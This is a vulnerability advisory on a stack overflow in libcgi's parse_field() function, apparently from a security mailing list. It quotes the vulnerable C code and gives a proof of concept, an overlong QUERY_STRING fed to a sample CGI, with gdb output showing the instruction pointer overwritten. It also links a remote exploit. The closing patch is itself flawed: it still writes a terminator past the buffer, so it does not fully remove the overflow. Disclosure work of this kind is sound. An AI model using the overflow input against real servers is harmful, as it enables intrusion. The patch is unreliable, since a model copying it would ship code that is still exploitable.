|
|
|
|
| |
| LIBCGI is a simple, easy to use, complete set of functions you need to create CGI programs in C. It provides support for both GET and POST request methods, parse of data, URLDecode function, access MySQL functions. A vulnerability in the product has been found allowing remote attackers to overflow an internal buffer causing it to execute arbitrary code. |
| |
Credit:
The information has been provided by dong-h0un U.
|
| |
Vulnerable systems:
* libcgi-1.0.3
* libcgi-1.0.2
Vulnerable code:
Vulnerability occurs because of 'parse_field()' function. In line 129 of 'cgi_lib.c' code:
__
129 void parse_field(char *field, char *rtnfield)
...
132 char *ptr,
133 *endptr,
134 tmp_field[128];
...
137 sprintf(tmp_field,"%s=",field); // "field1="
138
139 if((ptr=strstr(req_http,tmp_field))!=NULL)
140 {
141 ptr+=strlen(tmp_field); // "[value]&field2=[value2]&field3=[value3]"
142
143 if((endptr=strchr(ptr,'&'))!=NULL) // "&field2=[value2]&field3=[value3]"
144 {
145 memmove(rtnfield, ptr, (endptr - ptr)+1); // here.
146 rtnfield[(endptr - ptr)]='\0';
147 }
...
--
Exploit:
There is very good CGI example program. The CGI program uses parse_field(). If we examine the source code:
__
6 char name[64], // 64
7 address[64],
8 tel[64];
...
12 parse_field("name",name); // exploitable !
13 parse_field("address",address);
14 parse_field("telephone",tel);
--
bash$ export QUERY_STRING="name=test&address=test&telephone=test"
bash$ ./sample3.cgi
Content-type: text/plain
*************************** SAMPLE LIBCGIMYSQL *********************
Name=test
Address=test
Telephone=test
*************************** FIM SAMPLE *********************
bash$ export QUERY_STRING="name=`perl -e 'print \"x\"x92'`AAAA&address=test&telephone=test"
bash$ gdb -q sample3.cgi
(gdb) r
Starting program: /usr/local/apache/cgi-bin/sample3.cgi
Content-type: text/plain
*************************** SAMPLE LIBCGIMYSQL *********************
Name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxAAAA
Address=test
Telephone=test
*************************** FIM SAMPLE *********************
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in registros () from /usr/lib/libcgituxbr.so.1
(gdb) bt
#0 0x41414141 in registros () from /usr/lib/libcgituxbr.so.1
#1 0x00000000 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x40013000 1073819648
edx 0x43218320 1126269728
ebx 0x78787878 2021161080
esp 0xbffffa90 0xbffffa90
ebp 0x78787878 0x78787878
esi 0x78787878 2021161080
edi 0x78787878 2021161080
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)
It's a very basic stack based overflow. Can do exploit in remote.
Exploit URL:
http://x82.inetcop.org/h0me/c0de/0x82-Remote.tuxbrLibcgi.s
Patch:
=== libcgi.patch ===
--- cgi_lib.c Sat Dec 29 07:10:47 2001
+++ cgi_lib.patch.c Thu Nov 21 23:47:13 2002
@@ -126,7 +126,7 @@
//Faz o parse buscando pelo campo na string de request HTTP
-void parse_field(char *field, char *rtnfield)
+void parse_field(char *field, char *rtnfield, int size)
{
char *ptr,
@@ -142,12 +142,12 @@
if((endptr=strchr(ptr,'&'))!=NULL)
{
- memmove(rtnfield, ptr, (endptr - ptr)+1);
+ memmove(rtnfield, ptr, size-1);//(endptr - ptr)+1);
rtnfield[(endptr - ptr)]='\0';
}
else
{
- memmove(rtnfield, ptr, (strlen(ptr))+1);
+ memmove(rtnfield, ptr, size-1);//(strlen(ptr))+1);
rtnfield[(strlen(ptr))+1]='\0';
}
--- cgi_lib.h Sun Jan 20 06:58:34 2002
+++ cgi_lib.patch.h Thu Nov 21 23:47:05 2002
@@ -37,7 +37,7 @@
/*********************/
void SwapChar(char *pOriginal, char cBad, char cGood);
-void parse_field(char *field, char *rtnfield);
+void parse_field(char *field, char *rtnfield, int size);
void get_request(unsigned int method, char *request);
void URLDecode(unsigned char *pEncoded);
void vExiterr();
--- samples/sample3.c Thu Dec 27 05:52:12 2001
+++ samples/sample3.patch.c Thu Nov 21 23:51:14 2002
@@ -9,9 +9,9 @@
get_request(1,req_http);
- parse_field("name",name);
- parse_field("address",address);
- parse_field("telephone",tel);
+ parse_field("name",name,(int)sizeof(name));
+ parse_field("address",address,(int)sizeof(address));
+ parse_field("telephone",tel,(int)sizeof(tel));
URLDecode(name);
URLDecode(address);
=== eof ===
|
|
|
|
|